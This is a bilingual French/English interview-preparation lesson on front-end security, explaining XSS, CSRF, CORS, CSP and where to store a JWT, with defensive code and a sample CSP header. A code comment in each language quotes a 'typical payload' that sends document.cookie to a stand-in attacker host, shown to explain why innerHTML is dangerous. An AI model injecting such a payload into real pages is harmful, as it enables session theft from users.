Jour 35 Day 35 · mercredi 23 septembre 2026 Wednesday 23 September 2026 Sécurité Intermédiaire
Sécurité front : XSS, CSRF, CORS & CSP Front-end security: XSS, CSRF, CORS & CSP
XSS, CSRF, CORS, CSP : quatre sigles que tout candidat full-stack doit savoir distinguer en 30 secondes — et l'éternelle question « où stocker le JWT ? » enfin tranchée honnêtement. XSS, CSRF, CORS, CSP: four acronyms every full-stack candidate must be able to tell apart in 30 seconds — plus the eternal "where do I store the JWT?" question, finally answered honestly.
L’essentiel
Le navigateur exécute du code téléchargé depuis Internet au milieu de vos données de session : c’est un environnement hostile par construction. Quatre mécanismes structurent la sécurité front, et les entretiens adorent vérifier qu’on ne les confond pas :
- XSS (Cross-Site Scripting) : l’attaquant fait exécuter son JavaScript dans votre page, chez vos utilisateurs. Il peut alors lire le DOM, voler des données, agir au nom de l’utilisateur.
- CSRF (Cross-Site Request Forgery) : l’attaquant fait envoyer une requête authentifiée par le navigateur de la victime, sans exécuter de code chez vous — il exploite le fait que les cookies partent tout seuls.
- CORS : pas une attaque, un assouplissement contrôlé de la same-origin policy du navigateur, qui décide quelles pages web peuvent lire les réponses de votre API.
- CSP (Content Security Policy) : une liste blanche déclarative de ce que la page a le droit de charger et d’exécuter — le filet de sécurité anti-XSS.
| Attaque | Mécanisme | Parade principale |
|---|---|---|
| XSS stocké | Payload persisté (commentaire en DB) puis servi à tous | Échappement contextuel à l’affichage + CSP |
| XSS réfléchi | Payload dans l’URL, renvoyé tel quel dans la page | Échappement, validation + CSP |
| XSS DOM | Le JS client injecte une donnée non fiable (innerHTML) | textContent, sanitization (DOMPurify) |
| CSRF | Le navigateur joint les cookies automatiquement | Token anti-CSRF + cookie SameSite + vérif Origin |
| Clickjacking | Votre site dans une iframe invisible | frame-ancestors 'none' (CSP) |
Comment ça marche
XSS : tout endroit où une donnée contrôlée par un utilisateur devient du HTML/JS est une porte d’entrée. Trois variantes : stocké (le payload vit en base et touche tous les visiteurs), réfléchi (le payload voyage dans l’URL, il faut faire cliquer la victime), DOM-based (la faille est entièrement côté client : element.innerHTML = userInput). La parade est l’échappement contextuel : la même chaîne ne s’échappe pas pareil dans du HTML, un attribut, du JS ou une URL. Les frameworks modernes (React, Vue) échappent par défaut — les failles se nichent dans les échappatoires : dangerouslySetInnerHTML, v-html, href construit à la main (javascript:...).
// ❌ DANGEREUX : le HTML de l'utilisateur est interprété
div.innerHTML = comment;
// payload typique :
// <img src=x onerror="fetch('https://evil.tld/?c='+document.cookie)">
// ✅ Le texte reste du texte : le payload s'affiche, ne s'exécute pas
div.textContent = comment;
// ✅ Besoin de HTML riche (éditeur, markdown) ? On sanitize :
import DOMPurify from "dompurify";
div.innerHTML = DOMPurify.sanitize(comment);
CSRF : le navigateur joint automatiquement les cookies d’un site à toute requête vers ce site, même déclenchée depuis une autre page. Il suffit donc d’attirer une victime connectée sur evil.site :
victime ── session ouverte sur bank.com (cookie)
│
│ visite evil.site
▼
evil.site : formulaire caché auto-soumis
│ POST https://bank.com/transfer
▼
le navigateur JOINT le cookie de session
▼
bank.com : requête authentifiée valide…
sans protection → virement exécuté
Parades combinées : token anti-CSRF (secret aléatoire injecté dans la page, renvoyé avec la requête — evil.site ne peut pas le lire, same-origin policy oblige), cookie SameSite=Lax (défaut moderne des navigateurs : le cookie ne part plus sur les requêtes cross-site, sauf navigation top-level en GET) ou Strict, et vérification du header Origin côté serveur.
CORS : par défaut, la same-origin policy interdit au JS de site-a.com de lire la réponse d’une requête vers api.site-b.com. CORS permet au serveur d’autoriser explicitement des origines (Access-Control-Allow-Origin). Pour les requêtes « non simples » (JSON, headers custom, PUT/DELETE), le navigateur envoie d’abord un preflight OPTIONS pour demander la permission.
CSP : un header qui déclare d’où la page peut charger scripts, styles, images — et qui, bien configuré, bloque les scripts inline. Même si un payload XSS passe, il ne s’exécute pas : c’est de la défense en profondeur, pas un remplacement de l’échappement.
Content-Security-Policy:
default-src 'self'; # par défaut : mon origine seule
script-src 'self'; # ni script inline, ni CDN non listé
img-src 'self' data:; # images locales + data-URI
frame-ancestors 'none'; # personne ne m'iframe (clickjacking)
⚠️ CORS ne protège pas ton API — CORS est appliqué par le navigateur, uniquement :
curl, Postman ou un serveur ignorent totalement ces headers. CORS protège les utilisateurs (il empêche une page malveillante de lire vos réponses avec leurs cookies), pas votre serveur. La sécurité de l’API, c’est l’authentification et l’autorisation. Corollaire :Access-Control-Allow-Origin: *n’« ouvre » pas votre API aux pirates — et le restreindre ne la sécurise pas.
Concepts clés à maîtriser
- Échappement contextuel ≠ validation d’entrée : on valide à l’entrée (format, longueur), mais on échappe à la sortie, selon le contexte d’insertion. Échapper à l’entrée « une fois pour toutes » casse les données et rate des contextes.
SameSite:Strict(le cookie ne part jamais en cross-site, même en cliquant un lien — déconnexions surprenantes),Lax(défaut : part uniquement sur les navigations top-level en GET),None(part toujours, exigeSecure).Laxbloque le CSRF classique en POST — d’où la règle : jamais de mutation d’état en GET.- Preflight : requête
OPTIONSautomatique avant une requête non simple ; le serveur répond avec les méthodes/headers/origines autorisés (Access-Control-Allow-*). Si le preflight échoue, la vraie requête n’est jamais envoyée. C’est la fameuse « erreur CORS » de la console. - Stockage des tokens — le vrai arbitrage : en
localStorage, le token est lisible par n’importe quel XSS → exfiltration directe. En cookiehttpOnly, le JS ne peut pas le lire (XSS ne peut plus le voler)… mais il part tout seul → il faut gérer le CSRF (SameSite+ token). Recommandation générale : cookiehttpOnly+Secure+SameSite, protections CSRF en place. Et rester honnête : un XSS reste grave même avechttpOnly— l’attaquant ne vole pas le token, mais il fait des requêtes authentifiées depuis la page. - CSP réaliste : partir de
default-src 'self', éviter'unsafe-inline'(qui annule l’intérêt), utiliser nonces ou hashes pour les scripts inline légitimes, et déployer d’abord enContent-Security-Policy-Report-Onlypour mesurer la casse.
💡 Les frameworks échappent, les échappatoires tuent — React échappe tout ce qui passe dans du JSX :
{userInput}est sûr. Les failles XSS des apps React se trouvent presque toujours au même endroit :dangerouslySetInnerHTMLsans sanitization, ou un<a href={userInput}>qui acceptejavascript:alert(1). Le nom de l’API vous prévient — écoutez-le.
En entretien
« Explique la différence entre XSS et CSRF. » — XSS : l’attaquant exécute son code dans ma page ; il peut tout lire et tout faire au nom de l’utilisateur ; parade = échappement contextuel + CSP. CSRF : l’attaquant déclenche une requête authentifiée depuis un autre site, sans exécuter de code chez moi, en profitant des cookies envoyés automatiquement ; parade = token anti-CSRF + SameSite. L’un injecte du code, l’autre profite des cookies.
« Où stocker un JWT côté front ? » — Donner l’arbitrage, pas un dogme : localStorage = vulnérable à l’exfiltration par XSS ; cookie httpOnly = illisible par le JS mais expose au CSRF, qu’on couvre avec SameSite + token. Préférence générale : cookie httpOnly/Secure/SameSite. Bonus : tokens à courte durée de vie + refresh, et rappeler qu’un XSS reste grave dans les deux cas.
« À quoi sert CORS ? C’est quoi un preflight ? » — CORS assouplit la same-origin policy : le serveur déclare quelles origines peuvent lire ses réponses depuis un navigateur. Le preflight est le OPTIONS envoyé avant les requêtes non simples pour demander la permission. Point bonus décisif : préciser que CORS ne protège pas le serveur — un client hors navigateur l’ignore.
« Comment prévenir le XSS dans une app React ? » — S’appuyer sur l’échappement par défaut du JSX, bannir dangerouslySetInnerHTML (ou le passer systématiquement par DOMPurify), valider les URLs des href, et ajouter une CSP sans 'unsafe-inline' comme défense en profondeur.
« C’est quoi SameSite ? » — Un attribut de cookie qui contrôle son envoi en contexte cross-site : Strict (jamais), Lax (navigations top-level GET seulement — le défaut), None (toujours, avec Secure). C’est la défense anti-CSRF native des navigateurs, à combiner avec un token pour les cas limites.
Pièges & idées reçues
- « Erreur CORS → je désactive CORS / je mets un proxy » — l’erreur signifie que votre serveur n’autorise pas votre origine : la solution est une ligne de config côté API (
Access-Control-Allow-Origin), pas un contournement. Le proxy de dev est un pansement local, pas un fix. - « React/Vue me protègent du XSS » — par défaut oui, mais
dangerouslySetInnerHTML,v-htmlet les URLsjavascript:réintroduisent la faille en une ligne. - Sanitizer à l’entrée et se croire tranquille — l’échappement dépend du contexte de sortie ; une donnée saine en HTML peut être dangereuse dans un attribut ou une URL.
SameSite=Laxet mutations en GET —Laxlaisse passer les navigations GET top-level : un lien<a href="https://site.com/delete?id=1">reste un CSRF fonctionnel si votre API mute en GET.- Une CSP avec
'unsafe-inline'— c’est une CSP de décoration : les payloads XSS sont précisément des scripts inline.
🎤 En entretien — entraînez-vous à dérouler « XSS vs CSRF » en 30 secondes chrono, avec une parade chacun. C’est LA question discriminante de sécurité front : ceux qui confondent les deux échouent, ceux qui terminent par « et CORS n’a rien à voir, c’est un mécanisme navigateur, pas une protection serveur » marquent les points.
Pour aller plus loin
- OWASP — XSS Prevention Cheat Sheet et CSRF Prevention Cheat Sheet
- MDN — CORS et MDN — CSP : les références lisibles
- PortSwigger Web Security Academy : labs gratuits XSS/CSRF/CORS — le meilleur entraînement pratique
- CSP Evaluator (Google) : coller votre CSP et voir ses trous
The essentials
The browser executes code downloaded from the Internet right next to your session data: it is a hostile environment by construction. Four mechanisms structure front-end security, and interviewers love checking that you don’t mix them up:
- XSS (Cross-Site Scripting): the attacker gets their JavaScript executed in your page, in your users’ browsers. They can then read the DOM, steal data, act on the user’s behalf.
- CSRF (Cross-Site Request Forgery): the attacker gets the victim’s browser to send an authenticated request, without executing any code on your site — exploiting the fact that cookies are sent automatically.
- CORS: not an attack, a controlled relaxation of the browser’s same-origin policy, deciding which web pages may read your API’s responses.
- CSP (Content Security Policy): a declarative allowlist of what the page may load and execute — the anti-XSS safety net.
| Attack | Mechanism | Main defense |
|---|---|---|
| Stored XSS | Payload persisted (comment in DB) then served to everyone | Contextual escaping on output + CSP |
| Reflected XSS | Payload in the URL, echoed back into the page | Escaping, validation + CSP |
| DOM XSS | Client-side JS injects untrusted data (innerHTML) | textContent, sanitization (DOMPurify) |
| CSRF | The browser attaches cookies automatically | Anti-CSRF token + SameSite cookie + Origin check |
| Clickjacking | Your site inside an invisible iframe | frame-ancestors 'none' (CSP) |
How it works
XSS: any place where user-controlled data becomes HTML/JS is an entry point. Three variants: stored (the payload lives in the database and hits every visitor), reflected (the payload travels in the URL; the victim must be lured into clicking), DOM-based (the flaw is entirely client-side: element.innerHTML = userInput). The defense is contextual escaping: the same string is not escaped the same way in HTML, an attribute, JS, or a URL. Modern frameworks (React, Vue) escape by default — the flaws hide in the escape hatches: dangerouslySetInnerHTML, v-html, hand-built hrefs (javascript:...).
// ❌ DANGEROUS: the user's HTML gets interpreted
div.innerHTML = comment;
// typical payload:
// <img src=x onerror="fetch('https://evil.tld/?c='+document.cookie)">
// ✅ Text stays text: the payload is displayed, not executed
div.textContent = comment;
// ✅ Need rich HTML (editor, markdown)? Sanitize:
import DOMPurify from "dompurify";
div.innerHTML = DOMPurify.sanitize(comment);
CSRF: the browser automatically attaches a site’s cookies to any request headed to that site, even when triggered from another page. So it’s enough to lure a logged-in victim to evil.site:
victim ── active session on bank.com (cookie)
│
│ visits evil.site
▼
evil.site: hidden auto-submitted form
│ POST https://bank.com/transfer
▼
the browser ATTACHES the session cookie
▼
bank.com: valid authenticated request…
no protection → transfer executed
Combined defenses: an anti-CSRF token (random secret injected into the page and sent back with the request — evil.site cannot read it, thanks to the same-origin policy), a SameSite=Lax cookie (the modern browser default: the cookie no longer travels on cross-site requests, except top-level GET navigations) or Strict, and checking the Origin header server-side.
CORS: by default, the same-origin policy forbids JS on site-a.com from reading the response of a request to api.site-b.com. CORS lets the server explicitly allow origins (Access-Control-Allow-Origin). For “non-simple” requests (JSON, custom headers, PUT/DELETE), the browser first sends a preflight OPTIONS to ask permission.
CSP: a header declaring where the page may load scripts, styles and images from — and which, properly configured, blocks inline scripts. Even if an XSS payload gets through, it doesn’t execute: it’s defense in depth, not a replacement for escaping.
Content-Security-Policy:
default-src 'self'; # by default: my origin only
script-src 'self'; # no inline scripts, no unlisted CDN
img-src 'self' data:; # local images + data URIs
frame-ancestors 'none'; # nobody iframes me (clickjacking)
⚠️ CORS does not protect your API — CORS is enforced by the browser, only:
curl, Postman or another server completely ignore those headers. CORS protects users (it prevents a malicious page from reading your responses with their cookies), not your server. API security is authentication and authorization. Corollary:Access-Control-Allow-Origin: *does not “open” your API to hackers — and restricting it does not secure it.
Key concepts to master
- Contextual escaping ≠ input validation: validate on input (format, length), but escape on output, according to the insertion context. Escaping on input “once and for all” corrupts data and misses contexts.
SameSite:Strict(the cookie never travels cross-site, even when clicking a link — surprising logouts),Lax(default: only on top-level GET navigations),None(always sent, requiresSecure).Laxblocks classic POST CSRF — hence the rule: never mutate state on GET.- Preflight: the automatic
OPTIONSrequest before a non-simple request; the server replies with the allowed methods/headers/origins (Access-Control-Allow-*). If the preflight fails, the real request is never sent. That’s the famous console “CORS error”. - Token storage — the real trade-off: in
localStorage, the token is readable by any XSS → direct exfiltration. In anhttpOnlycookie, JS cannot read it (XSS can no longer steal it)… but it travels automatically → you must handle CSRF (SameSite+ token). General recommendation:httpOnly+Secure+SameSitecookie, with CSRF protections in place. And stay honest: XSS remains serious even withhttpOnly— the attacker doesn’t steal the token, but they make authenticated requests from the page. - Realistic CSP: start from
default-src 'self', avoid'unsafe-inline'(which defeats the purpose), use nonces or hashes for legitimate inline scripts, and roll out withContent-Security-Policy-Report-Onlyfirst to measure breakage.
💡 Frameworks escape, escape hatches kill — React escapes everything that goes through JSX:
{userInput}is safe. XSS flaws in React apps are almost always found in the same place:dangerouslySetInnerHTMLwithout sanitization, or an<a href={userInput}>acceptingjavascript:alert(1). The API’s name warns you — listen to it.
In an interview
“Explain the difference between XSS and CSRF.” — XSS: the attacker executes their code in my page; they can read everything and do anything on the user’s behalf; defense = contextual escaping + CSP. CSRF: the attacker triggers an authenticated request from another site, without executing code on mine, riding the automatically-sent cookies; defense = anti-CSRF token + SameSite. One injects code, the other rides the cookies.
“Where do you store a JWT on the front end?” — Give the trade-off, not a dogma: localStorage = vulnerable to exfiltration by XSS; httpOnly cookie = unreadable by JS but exposed to CSRF, covered by SameSite + a token. General preference: httpOnly/Secure/SameSite cookie. Bonus: short-lived tokens + refresh, and note that XSS remains serious in both cases.
“What is CORS for? What’s a preflight?” — CORS relaxes the same-origin policy: the server declares which origins may read its responses from a browser. The preflight is the OPTIONS sent before non-simple requests to ask permission. Decisive bonus point: state that CORS does not protect the server — a non-browser client ignores it.
“How do you prevent XSS in a React app?” — Rely on JSX’s default escaping, ban dangerouslySetInnerHTML (or always run it through DOMPurify), validate href URLs, and add a CSP without 'unsafe-inline' as defense in depth.
“What is SameSite?” — A cookie attribute controlling whether it is sent in cross-site contexts: Strict (never), Lax (top-level GET navigations only — the default), None (always, with Secure). It’s the browsers’ native anti-CSRF defense, to be combined with a token for edge cases.
Pitfalls & misconceptions
- “CORS error → let’s disable CORS / add a proxy” — the error means your server doesn’t allow your origin: the fix is one line of API config (
Access-Control-Allow-Origin), not a workaround. The dev proxy is a local band-aid, not a fix. - “React/Vue protect me from XSS” — by default yes, but
dangerouslySetInnerHTML,v-htmlandjavascript:URLs reintroduce the flaw in one line. - Sanitizing on input and calling it a day — escaping depends on the output context; data safe in HTML can be dangerous in an attribute or a URL.
SameSite=Laxand GET mutations —Laxlets top-level GET navigations through: a link<a href="https://site.com/delete?id=1">is still a working CSRF if your API mutates on GET.- A CSP with
'unsafe-inline'— that’s a decorative CSP: XSS payloads are precisely inline scripts.
🎤 In an interview — practice delivering “XSS vs CSRF” in 30 seconds flat, with one defense each. It’s THE discriminating front-end security question: those who mix the two up fail, and those who close with “and CORS is unrelated — it’s a browser mechanism, not a server protection” score the points.
Going further
- OWASP — XSS Prevention Cheat Sheet and CSRF Prevention Cheat Sheet
- MDN — CORS and MDN — CSP: the readable references
- PortSwigger Web Security Academy: free XSS/CSRF/CORS labs — the best hands-on training
- CSP Evaluator (Google): paste your CSP and see its holes